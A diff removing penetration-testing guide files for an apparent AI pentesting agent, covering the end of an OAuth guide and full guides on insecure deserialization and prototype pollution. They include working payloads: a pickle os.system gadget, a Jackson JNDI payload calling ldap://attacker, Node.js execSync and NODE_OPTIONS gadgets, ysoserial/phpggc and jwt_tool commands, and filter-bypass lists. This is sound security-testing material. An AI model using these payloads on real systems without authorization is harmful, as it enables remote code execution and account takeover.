-- Poll `device_code` endpoint with guessed codes; slow rate limits only
-- User approves attacker-initiated device login
-
-**Account Linking**
-- OAuth login links attacker's IdP identity to victim's local account without re-auth
-- Email collision: same email from different IdP providers
-
-## Testing Methodology
-
-1. **Map flows** — Identify all grant types, clients, and redirect URIs in use
-2. **Redirect matrix** — For each client, fuzz redirect_uri validation with encoding and parser tricks
-3. **CSRF** — Initiate OAuth without `state`; swap sessions mid-flow
-4. **PKCE** — Replay codes with wrong/missing verifier; downgrade challenge method
-5. **Token exchange** — Swap codes/tokens between clients; test cross-audience acceptance
-6. **Mobile/deep links** — Custom schemes, intent filters, universal links hijacking
-
-## Validation
-
-1. Demonstrate stolen authorization code or token via redirect manipulation or Referer leak
-2. Show account takeover or access to victim resources with attacker's OAuth session
-3. Prove CSRF: victim completes login into attacker's linked session without consent UI bypass where applicable
-4. Document exact validation gap (redirect binding, PKCE, state, audience)
-5. Provide full authorize → callback → token request chain with before/after evidence
-
-## False Positives
-
-- Redirect URI rejected consistently across all bypass attempts
-- Public client correctly requires PKCE S256 with strict verifier validation
-- `state`/`nonce` enforced and bound; CSRF test fails as expected
-- Token audience/issuer correctly validated at resource server
-- Custom scheme redirects require app ownership proof (verified Android/iOS app links)
-
-## Impact
-
-- Full account takeover via stolen authorization codes or tokens
-- Persistent access through refresh token theft
-- Cross-tenant or cross-client data access via token confusion
-- PII exposure from userinfo or ID token claim leakage
-
-## Pro Tips
-
-1. Always capture the full redirect chain including intermediate 302 locations
-2. Compare authorize-step and token-step parameter binding (`redirect_uri`, `client_id`, PKCE)
-3. Test both web and mobile clients — validation rules often differ
-4. Check logout/revocation — tokens may remain valid after "logout"
-5. Chain with open redirect or XSS on the legitimate redirect_uri to exfiltrate codes
-
-## Tooling
-
-The sandbox ships **jwt_tool** (already cloned at `/home/pentester/tools/jwt_tool`) plus `curl` — enough for the token side of OAuth/OIDC.
-
-- **jwt_tool** (ticarpi) — inspect and tamper ID tokens / JWT access tokens: `alg:none`, `HS256`/`RS256` key confusion, `kid` injection, claim editing (`sub`, `aud`, `iss`, `exp`):
-  ```
-  python3 /home/pentester/tools/jwt_tool/jwt_tool.py <ID_TOKEN>                    # decode/inspect
-  python3 /home/pentester/tools/jwt_tool/jwt_tool.py <ID_TOKEN> -X a               # alg:none
-  python3 /home/pentester/tools/jwt_tool/jwt_tool.py <ID_TOKEN> -X k -pk pub.pem   # RS256->HS256 confusion
-  ```
-- **curl** — drive the authorize → callback → token chain by hand so you control every parameter (`redirect_uri`, `client_id`, `state`, PKCE `code_challenge`/`code_verifier`) and can test the binding/downgrade cases above.
-
-Humans often use Burp's **EsPReSSO** (RUB-NDS) SSO extension for flow visualization; it is GUI-only, so prefer manual `curl` + `jwt_tool` in-sandbox.
-
-## Summary
-
-OAuth security hinges on strict redirect URI binding, unguessable state/nonce, PKCE for public clients, and consistent token audience validation. Any gap in the authorize-to-token chain is a potential account takeover.

strix/skills/vulnerabilities/insecure_deserialization.md

@@ -1,188 +0,0 @@
----
-name: insecure-deserialization
-description: Insecure deserialization testing for Java, Python, PHP, .NET, Ruby, and Node.js covering gadget chains, type confusion, and safe validation
----
-
-# Insecure Deserialization
-
-Insecure deserialization passes attacker-controlled byte streams or structured blobs to language-native unmarshal functions, enabling remote code execution, authentication bypass, and logic manipulation through magic methods and gadget chains. Test any endpoint accepting serialized objects, session blobs, or opaque binary tokens.
-
-## Attack Surface
-
-**Formats**
-- Java: Java native serialization, XStream, JSON → object mappers (Jackson, Fastjson), YAML (SnakeYAML)
-- Python: `pickle`, `yaml.load` (unsafe), `marshal`, shelve
-- PHP: `unserialize()`, Phar deserialization
-- .NET: `BinaryFormatter`, `Json.NET TypeNameHandling`, ViewState
-- Ruby: `Marshal.load`, YAML.load
-- Node.js: `node-serialize`, `unserialize.js` (less common; see prototype_pollution for merge bugs)
-
-**Input Locations**
-- Cookies, session tokens, hidden form fields
-- API parameters (`data`, `state`, `object`, base64 blobs)
-- Message queues, WebSocket binary frames, file uploads
-- Cache entries, database columns storing serialized objects
-
-## Reconnaissance
-
-**Detection Signals**
-- Base64 blobs starting with magic bytes:
-  - Java: `ac ed 00 05` (hex `rO0` base64)
-  - PHP: `O:`, `a:`, `s:` prefixes after decode
-  - .NET BinaryFormatter: starts with `00 01 00 00 00 ff ff ff ff`
-- `Content-Type` with binary or custom serialization
-- Framework indicators: Java apps with Spring, Struts, JSF; PHP with Symfony sessions
-
-**White-Box Indicators**
-```
-pickle.loads    unserialize(    ObjectInputStream    BinaryFormatter
-yaml.load       readObject(     TypeNameHandling    Marshal.load
-```
-
-## Key Vulnerabilities
-
-### Java Deserialization
-
-**Gadget Chains**
-- Commons Collections, Commons BeanUtils, Spring, Groovy, Rome, JDK-only chains (varies by classpath)
-- Tools: ysoserial (authorized testing only), manual chain selection by classpath
-
-**Test Flow**
-1. Confirm deserialization sink (HTTP param, cookie, RMI, JMX if exposed)
-2. Fingerprint library versions from errors, headers, or bundled libs
-3. Generate gadget payload for available chain; expect DNS/HTTP callback or command execution
-
-**Jackson / JSON Typing**
-```json
-["com.sun.rowset.JdbcRowSetImpl", {"dataSourceName":"ldap://attacker/o", "autoCommit":true}]
-```
-When `enableDefaultTyping` or `@JsonTypeInfo` allows attacker-chosen types.
-
-### Python Pickle
-
-Pickle executes arbitrary code during unpickling by design:
-```python
-import pickle, os, base64
-class Exploit:
-    def __reduce__(self):
-        return (os.system, ('id',))
-# base64 encode pickle.dumps(Exploit()) and send as cookie/param
-```
-
-**YAML**
-```yaml
-!!python/object/apply:os.system ['id']
-```
-When `yaml.load` used instead of `yaml.safe_load`.
-
-### PHP unserialize()
-
-**Object Injection**
-- Magic methods: `__wakeup`, `__destruct`, `__toString`, `__call`
-- POP chains through framework classes (Laravel, Symfony, WordPress plugins)
-
-**Phar Deserialization**
-- Upload or reference `phar://` wrapper triggering metadata deserialization on file operations
-
-### .NET Deserialization
-
-**BinaryFormatter / LosFormatter**
-- Never safe on untrusted input; full RCE with known gadget chains (ysoserial.net)
-
-**Json.NET**
-```json
-{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework", ...}
-```
-When `TypeNameHandling` != `None`.
-
-**ViewState**
-- MAC disabled or weak machine keys → forge deserialized view state
-
-### Ruby Marshal
-
-- `Marshal.load` on user input → gadget chains in Rails/Devise versions (context-dependent)
-
-## Advanced Techniques
-
-**Signed Blob Bypass**
-- If HMAC/signing uses weak secret or algorithm confusion, forge serialized payload
-- Strip signature and test unsigned code paths
-- Length extension on MAC if applicable (older custom schemes)
-
-**Second-Order Deserialization**
-- Store serialized blob in profile/import; trigger on admin export, cache warm, or batch job
-
-**Compression Wrappers**
-- Gzip/base64 nested encoding bypassing naive WAF inspection
-
-## Testing Methodology
-
-1. **Find sinks** — Locate decode/unmarshal calls on user-influenced data
-2. **Confirm format** — Magic bytes, error stack traces, framework fingerprint
-3. **Safe oracle** — DNS/HTTP OAST callback or sleep/ping before full RCE PoC
-4. **Gadget selection** — Match classpath/runtime version to available chains
-5. **Minimal PoC** — Demonstrate code execution or critical logic bypass with least destructive command
-6. **Session/cookie focus** — Deserialize server-side session stores (Java, PHP) early
-
-## Validation
-
-1. Demonstrate attacker-controlled object graph reaches dangerous sink (unmarshal/readObject)
-2. Show impact: RCE (bounded command), auth bypass object, or privilege field manipulation
-3. Provide encoded payload and exact injection point (cookie name, parameter, header)
-4. Confirm on fixed version or alternate instance that identical payload fails safely
-5. Document library/version and gadget chain class names for remediation
-
-## False Positives
-
-- Base64 data is encrypted or signed with verified HMAC before deserialization
-- Only primitive types deserialized (whitelist schema, no polymorphic types)
-- `pickle`/`Marshal` not used; JSON parsed to dict without object instantiation
-- Deserialization in isolated sandbox with no network/exec primitives (verify thoroughly)
-- Error mentions serialization class but input is never passed to unmarshal (dead code path)
-
-## Bypass Methods
-
-- Encoding layers: base64 → gzip → serialize
-- Alternative parameters storing same session (`session`, `session_backup`, `state`)
-- Switch content-type or parameter location (GET vs POST vs cookie)
-- Type confusion: JSON array vs object hitting different deserializer branches
-- Unicode/UTF-7 smuggling in PHP serialized strings (legacy contexts)
-
-## Impact
-
-- Remote code execution on application servers
-- Authentication bypass via forged session objects
-- Privilege escalation through manipulated role/admin fields in deserialized classes
-- Full application compromise in Java/PHP/.NET stacks with known gadget libraries
-
-## Pro Tips
-
-1. Always fingerprint versions before firing ysoserial — wrong chain wastes time and noise
-2. Start with DNS/HTTP callback gadgets before command execution in production-like targets
-3. Check cookies named `JSESSIONID` alternatives, `.ASPXAUTH`, `laravel_session`, custom tokens
-4. In white-box, trace from `readObject`/`unserialize`/`pickle.loads` backward to source
-5. ViewState MAC off is still common on legacy ASP.NET — test early on `.aspx` apps
-
-## Tooling
-
-Payload generation is the practitioner's core tool here. The sandbox has `git`/`python`/`go` and **interactsh-client** (OAST); add a JRE or `php-cli` if you need the Java/PHP generators.
-
-| Tool | Language / format | Use |
-|------|-------------------|-----|
-| **ysoserial** (frohoff) | Java native | Gadget-chain payloads: `CommonsCollections1-7`, `Groovy1`, `Spring1/2`, and `URLDNS` for a safe no-exec DNS oracle. Needs a JRE. |
-| **phpggc** (ambionics) | PHP `unserialize` / Phar | Framework POP chains (Laravel, Symfony, WordPress, Drupal, Monolog). Needs `php-cli`. |
-| **ysoserial.net** | .NET `BinaryFormatter` / Json.NET | Windows/.NET gadget payloads. Needs .NET/mono — usually out of scope in a Linux sandbox. |
-
-```
-# Java: prove the sink with a no-exec DNS oracle BEFORE any RCE chain
-java -jar ysoserial.jar URLDNS "http://$(interactsh-client -json | jq -r .host)" | base64 -w0
-
-# PHP: generate a Laravel POP chain (base64), fast path via a framework gadget
-./phpggc -b Laravel/RCE9 system id
-```
-
-Confirm the sink with a callback (`URLDNS` / interactsh OAST) before firing a command-exec chain, and match the chain to the fingerprinted library version — the wrong chain just adds noise.
-
-## Summary
-
-Treat every deserialization of untrusted data as critical. Safe patterns use JSON schema validation without type polymorphism, `yaml.safe_load`, signed encrypted tokens, or no custom serialization at all. Prove impact with callback or bounded execution — not just error stack traces.

strix/skills/vulnerabilities/prototype_pollution.md

@@ -1,142 +0,0 @@
----
-name: prototype-pollution
-description: Client and server prototype pollution testing covering JavaScript object merge bugs, Node.js RCE chains, and filter bypasses
----
-
-# Prototype Pollution
-
-Prototype pollution corrupts shared object prototypes (`Object.prototype`, `Array.prototype`, etc.), leading to application logic bypass, denial of service, and — on Node.js — remote code execution via gadget chains. Test anywhere user input merges into objects without safe key filtering.
-
-## Attack Surface
-
-**Languages & Runtimes**
-- JavaScript/TypeScript (browser and Node.js)
-- JSON parsers that preserve `__proto__`, `constructor`, `prototype` keys
-- Server-side template engines and config merge utilities
-
-**Input Vectors**
-- JSON request bodies, query strings, multipart form fields
-- URL-encoded nested objects (`__proto__[key]=value`)
-- WebSocket messages, GraphQL variables, file import formats (JSON, YAML)
-
-**Vulnerable Patterns**
-- Deep merge/extend: `lodash.merge`, `jQuery.extend`, custom `Object.assign` loops
-- Query parsers: `qs`, `body-parser` with nested object support
-- Client-side routing, state hydration, analytics SDK config merges
-
-## Key Vulnerabilities
-
-### Client-Side Prototype Pollution
-
-**Gadget Effects**
-- Bypass auth checks reading `user.isAdmin` when polluted on prototype
-- DOM XSS via polluted properties consumed by `innerHTML`, `document.write`, script loaders
-- Cookie/session manipulation if app reads config from polluted defaults
-
-**Payload Shapes**
-```json
-{"__proto__": {"isAdmin": true}}
-{"constructor": {"prototype": {"isAdmin": true}}}
-{"__proto__.polluted": "yes"}
-```
-
-**URL-encoded (qs-style)**
-```
-?__proto__[isAdmin]=true
-?constructor[prototype][isAdmin]=true
-```
-
-### Server-Side Prototype Pollution (Node.js)
-
-**Common Sinks**
-- `lodash.merge`, `lodash.defaultsDeep`, `deep-extend`, `merge-options`
-- Express/query parsers accepting nested objects
-- YAML `load()` (not `safeLoad`) with prototype keys
-- JSON.parse → merge into existing object without null prototype
-
-**RCE Gadget Chains (Node.js)**
-Pollute properties consumed by child_process, template engines, or require paths:
-```json
-{"__proto__": {"shell": "/proc/self/exe", "argv0": "node", "NODE_OPTIONS": "--require /tmp/evil.js"}}
-{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id')//"}}
-```
-
-Gadget availability depends on package versions — enumerate `node_modules` in white-box scans.
-
-### Filter Bypasses
-
-**Key Sanitization Bypasses**
-- Unicode normalization: `__proto__` variants, fullwidth underscores
-- Nested forms: `constructor.prototype` instead of `__proto__`
-- Array pollution: `__proto__[0]`, `[].__proto__`
-- JSON `$` or `.` keys in some parsers (MongoDB-style operators overlap — see nosql_injection skill)
-
-**Freeze/Seal Gaps**
-- Pollution before `Object.freeze` on instance but not prototype
-- Pollution affecting newly created objects after merge
-
-## Testing Methodology
-
-1. **Identify merge points** — Search for extend/merge/defaults/deep copy on user-controlled objects
-2. **Baseline probe** — Inject benign pollution marker:
-   ```json
-   {"__proto__": {"strixPolluted": "yes"}}
-   ```
-   Verify via response behavior, error messages, or follow-up request reading shared state
-3. **Shape variants** — Test `__proto__`, `constructor.prototype`, nested bracket notation
-4. **Channel matrix** — JSON body, query string, multipart, WebSocket for same endpoint
-5. **Gadget hunting (Node.js)** — Map polluted keys to sinks in dependency tree (ejs, pug, handlebars, child_process wrappers)
-6. **Client-side** — Check if polluted properties affect routing, auth UI, or DOM sinks
-
-## Validation
-
-1. Demonstrate a property on `Object.prototype` (or relevant prototype) affecting behavior on unrelated objects
-2. Show security impact: auth bypass, XSS execution, or server-side command execution with minimal PoC
-3. Prove pollution persists across requests (server) or page lifetime (client) as applicable
-4. Document exact merge function and input path (parameter name, content-type)
-5. Confirm fix: null-prototype objects, `Object.create(null)`, or key blocklists on `__proto__`/`constructor`/`prototype`
-
-## False Positives
-
-- Parser strips `__proto__` before merge — marker property never appears on prototype
-- Framework uses `Object.create(null)` for options objects throughout
-- Polluted key visible in JSON echo but never merged into object graph
-- Client-side pollution blocked by frozen prototypes in modern hardened libraries (verify no behavioral change)
-- WAF blocks payload but alternate encoding also blocked consistently
-
-## Bypass Methods
-
-- Switch from `__proto__` to `constructor[prototype]` when only one is filtered
-- Use array notation: `__proto__[key]`, `[].__proto__.key`
-- Content-type switching: JSON vs `application/x-www-form-urlencoded` vs multipart
-- Split pollution across multiple parameters merged sequentially
-- Second-order pollution: store payload, trigger merge in background job or export pipeline
-
-## Impact
-
-- Authentication/authorization bypass via polluted flag checks
-- DOM XSS and session compromise in browsers
-- Remote code execution on Node.js through known gadget chains
-- Denial of service via polluting widely read prototype properties
-
-## Pro Tips
-
-1. Always verify pollution with a unique canary key (`strixPolluted_<random>`) before attempting RCE gadgets
-2. In white-box scans, grep for `merge`, `extend`, `defaultsDeep`, `assign` with user input
-3. Check both request parsing and response template config merges (second-order)
-4. Node gadget chains are version-specific — confirm package version before claiming RCE
-5. Combine with client-side template injection if polluted keys flow into rendering config
-
-## Tooling
-
-Detection is mostly about payload shapes (above) plus a couple of light helpers. The sandbox has `go` and `nuclei`; `ppfuzz` is a single static binary.
-
-- **ppfuzz** (dwisiswant0) — fast client-side prototype-pollution fuzzer (Rust, single binary); good for spraying the URL/param shapes across many endpoints: `ppfuzz -l urls.txt`
-- **nuclei** (preinstalled) — has prototype-pollution templates for quick triage: `nuclei -u https://target -tags prototype-pollution`
-- **BlackFan `client-side-prototype-pollution`** — not a tool but the canonical **gadget reference**: maps polluted keys to concrete DOM-XSS sinks per library (jQuery, Popper, Wistia, etc.). Use it to turn a confirmed pollution into real impact.
-
-For server-side gadget hunting there is no reliable one-click tool — enumerate `node_modules` in white-box scope and match polluted keys to sinks (`ejs`/`pug` `outputFunctionName`, `child_process` `shell`/`NODE_OPTIONS`) as covered above.
-
-## Summary
-
-Any unsafe recursive merge of user-controlled keys is a prototype pollution candidate. Block `__proto__`, `constructor`, and `prototype` keys, use null-prototype objects, and validate impact with behavioral proof — not just reflected keys.